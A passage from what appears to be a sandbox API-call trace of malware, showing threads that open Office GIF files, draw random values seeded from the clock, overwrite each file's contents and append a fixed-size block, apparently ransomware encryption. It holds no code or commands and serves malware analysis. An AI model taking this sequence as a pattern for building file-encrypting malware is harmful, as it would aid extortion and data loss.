NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de0f8 [0064.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0064.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49c760) returned 1 [0064.127] NtQueryInformationFile (in: FileHandle=0x1378, IoStatusBlock=0xfdcf704, FileInformation=0xfdcf6dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfdcf704, FileInformation=0xfdcf6dc) returned 0x0 [0064.127] NtSetInformationFile (FileHandle=0x1378, IoStatusBlock=0xfdcf704, FileInformation=0xfdcf6dc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0064.129] FlushFileBuffers (hFile=0x1378) returned 1 [0066.228] CloseHandle (hObject=0x1378) Thread: id = 1155 os_tid = 0xfcc [0059.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif")) returned 0x20 [0064.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF", dwFileAttributes=0x20) returned 1 [0064.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x137c [0064.130] GetFileSizeEx (in: hFile=0x137c, lpFileSize=0xfd7fe10 | out: lpFileSize=0xfd7fe10*=315) returned 1 [0064.130] SetFilePointerEx (in: hFile=0x137c, liDistanceToMove=0x137, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.130] ReadFile (in: hFile=0x137c, lpBuffer=0xfd7fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfd7fd90, lpOverlapped=0x0 | out: lpBuffer=0xfd7fd94*, lpNumberOfBytesRead=0xfd7fd90*=0x4, lpOverlapped=0x0) returned 1 [0064.131] SetFilePointerEx (in: hFile=0x137c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0064.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90e8 [0064.131] NtQuerySystemTime (in: CurrentTime=0xfd7fd70 | out: CurrentTime=0xfd7fd70*=132174898281084000) returned 0x0 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x45beb1bc [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x4293dab3 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x2241cecd [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x66a34f1b [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x56ead3c5 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x235f0929 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x762da641 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x641b8db8 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x5dce3af [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x44b5de86 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x55adf113 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x35b6895 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x1fbea8c2 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x25590e1b [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x1283d1e7 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x1639a5c5 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x7a5707d2 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x407a277e [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x371d346f [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x4558f69c [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x78b84d09 [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0xe9bafe [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x1b3a44fd [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x136e1f2a [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x5889477b [0064.131] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x1d3cc54e [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x493d9763 [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x70274a5b [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x20f5d188 [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x66b0232b [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x2e8a0846 [0064.132] RtlRandomEx (in: Seed=0xfd7fd7c | out: Seed=0xfd7fd7c) returned 0x46931d95 [0064.142] ReadFile (in: hFile=0x137c, lpBuffer=0x19615118, nNumberOfBytesToRead=0x13b, lpNumberOfBytesRead=0xfd7fd6c, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesRead=0xfd7fd6c*=0x13b, lpOverlapped=0x0) returned 1 [0064.142] SetFilePointerEx (in: hFile=0x137c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.142] WriteFile (in: hFile=0x137c, lpBuffer=0x9673680*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0xfd7fd68, lpOverlapped=0x0 | out: lpBuffer=0x9673680*, lpNumberOfBytesWritten=0xfd7fd68*=0x13b, lpOverlapped=0x0) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce410 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce410) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9673680) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb10 [0065.474] SetFilePointerEx (in: hFile=0x137c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.474] WriteFile (hFile=0x137c, lpBuffer=0x12d7d688, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfd7fdd0, lpOverlapped=0x0) Thread: id = 1156 os_tid = 0xbec [0059.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif")) returned 0x20 [0064.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF", dwFileAttributes=0x20) Thread: id = 1157 os_tid = 0xbf4 [0059.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif")) returned 0x20 [0064.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF", dwFileAttributes=0x20) Thread: id = 1158 os_tid = 0xbfc [0059.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif")) returned 0x20 [0064.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF", dwFileAttributes=0x20) Thread: id = 1159 os_tid = 0x41c [0059.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif")) returned 0x20 [0064.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF", dwFileAttributes=0x20) returned 1 [0064.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x138c [0064.145] GetFileSizeEx (in: hFile=0x138c, lpFileSize=0xd25faec | out: lpFileSize=0xd25faec*=282) returned 1 [0064.145] SetFilePointerEx (in: hFile=0x138c, liDistanceToMove=0x116, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.145] ReadFile (in: hFile=0x138c, lpBuffer=0xd25fa70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd25fa6c, lpOverlapped=0x0 | out: lpBuffer=0xd25fa70*, lpNumberOfBytesRead=0xd25fa6c*=0x4, lpOverlapped=0x0) returned 1 [0064.146] SetFilePointerEx (in: hFile=0x138c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90e8 [0064.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9318 [0064.146] NtQuerySystemTime (in: CurrentTime=0xd25fa4c | out: CurrentTime=0xd25fa4c*=132174898281240000) returned 0x0 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x508b2ed5 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x494d2ec9 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x6f90d9e7 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x45af3b19 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x124a1ccf [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x74df1100 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x579f6912 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x40f66103 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x6a5748ab [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x48846fcf [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x4392a549 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x79e64463 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x236ba3ba [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x1143b077 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x15e725f6 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x3586c41e [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x56ca9c73 [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x1bc3dd6d [0064.146] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x4498221b [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x1cb79c78 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x79e3ae44 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x6fdccc48 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x71ba2043 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0xea06d7c [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x3fb06098 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x16fe354b [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x657f1bb1 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x34f915d0 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x5f027319 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x3d211e67 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x1d9ffec0 [0064.147] RtlRandomEx (in: Seed=0xd25fa58 | out: Seed=0xd25fa58) returned 0x658312b2 [0064.159] ReadFile (in: hFile=0x138c, lpBuffer=0x967fe88, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0xd25fa48, lpOverlapped=0x0 | out: lpBuffer=0x967fe88*, lpNumberOfBytesRead=0xd25fa48*=0x11a, lpOverlapped=0x0) returned 1 [0064.159] SetFilePointerEx (in: hFile=0x138c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.159] WriteFile (in: hFile=0x138c, lpBuffer=0x196f61a8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0xd25fa44, lpOverlapped=0x0 | out: lpBuffer=0x196f61a8*, lpNumberOfBytesWritten=0xd25fa44*=0x11a, lpOverlapped=0x0) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3e8 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce398 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce398) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196f61a8) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x967fe88) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419130) returned 1 [0065.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce9c0 [0065.475] SetFilePointerEx (in: hFile=0x138c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.475] WriteFile (hFile=0x138c, lpBuffer=0x12d7d8b8, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xd25faac, lpOverlapped=0x0) Thread: id = 1160 os_tid = 0x4f0 [0059.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif")) returned 0x20 [0064.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF", dwFileAttributes=0x20) Thread: id = 1161 os_tid = 0x508 [0059.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif")) returned 0x20 [0064.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF", dwFileAttributes=0x20) returned 1 [0064.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1394 [0064.161] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0xfebfe68 | out: lpFileSize=0xfebfe68*=240) returned 1 [0064.161] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.161] ReadFile (in: hFile=0x1394, lpBuffer=0xfebfdec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfebfde8, lpOverlapped=0x0 | out: lpBuffer=0xfebfdec*, lpNumberOfBytesRead=0xfebfde8*=0x4, lpOverlapped=0x0) returned 1 [0064.161] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9318 [0064.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9840 [0064.162] NtQuerySystemTime (in: CurrentTime=0xfebfdc8 | out: CurrentTime=0xfebfdc8*=132174898281396000) returned 0x0 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x7385826c [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x5cc8af31 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x25cc7a26 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0xa182860 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x435a61a8 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x441cb4d2 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x5c0fc9ce [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x43a521ea [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x497c404 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x76ec876b [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x757e28f6 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x2d4d99d4 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x7e7e6f46 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x69a68c9b [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x30d19f5c [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x38524ab9 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x36c9f933 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x3aa2b79 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x599350b [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x3353cd72 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x3c8635a0 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x6efda097 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x2279a2a4 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x5c48b6e8 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x5fbd01d8 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x3454de70 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x27d0ad76 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x3e639d46 [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x5636b4be [0064.162] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0xb3f9fc2 [0064.163] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x34a7912c [0064.163] RtlRandomEx (in: Seed=0xfebfdd4 | out: Seed=0xfebfdd4) returned 0x31f39e01 [0064.174] ReadFile (in: hFile=0x1394, lpBuffer=0x197029b0, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0xfebfdc4, lpOverlapped=0x0 | out: lpBuffer=0x197029b0*, lpNumberOfBytesRead=0xfebfdc4*=0xf0, lpOverlapped=0x0) returned 1 [0064.174] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.174] WriteFile (in: hFile=0x1394, lpBuffer=0x9738928*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xfebfdc0, lpOverlapped=0x0 | out: lpBuffer=0x9738928*, lpNumberOfBytesWritten=0xfebfdc0*=0xf0, lpOverlapped=0x0) returned 1 [0065.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce320 [0065.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce2d0 [0065.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2d0) returned 1 [0065.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9738928) returned 1 [0065.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197029b0) returned 1 [0065.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419658) returned 1 [0065.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0065.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cf020 [0065.475] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.475] WriteFile (hFile=0x1394, lpBuffer=0x12d7d9d0, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfebfe28, lpOverlapped=0x0) Thread: id = 1162 os_tid = 0xc0 [0059.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif")) returned 0x20 [0064.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF", dwFileAttributes=0x20) returned 1 [0064.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1398 [0064.176] GetFileSizeEx (in: hFile=0x1398, lpFileSize=0x1018fafc | out: lpFileSize=0x1018fafc*=206) returned 1 [0064.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9840 [0064.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92f0 [0064.176] NtQuerySystemTime (in: CurrentTime=0x1018fa5c | out: CurrentTime=0x1018fa5c*=132174898281552000) returned 0x0 [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x13d5cc6e [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0xde261d2 [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x33abdc7d [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x51c54bbf [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0xa36beba [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x761a4f9d [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x2413c031 [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x6b902d86 [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x1cfe89c9 [0064.176] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x3da2e100 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x5969e513 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x224735ea [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x6986c54 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x3853fdbe [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x295a1246 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x47733513 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x21f1dbe3 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x2eb7442f [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x735aa9ac [0064.177] 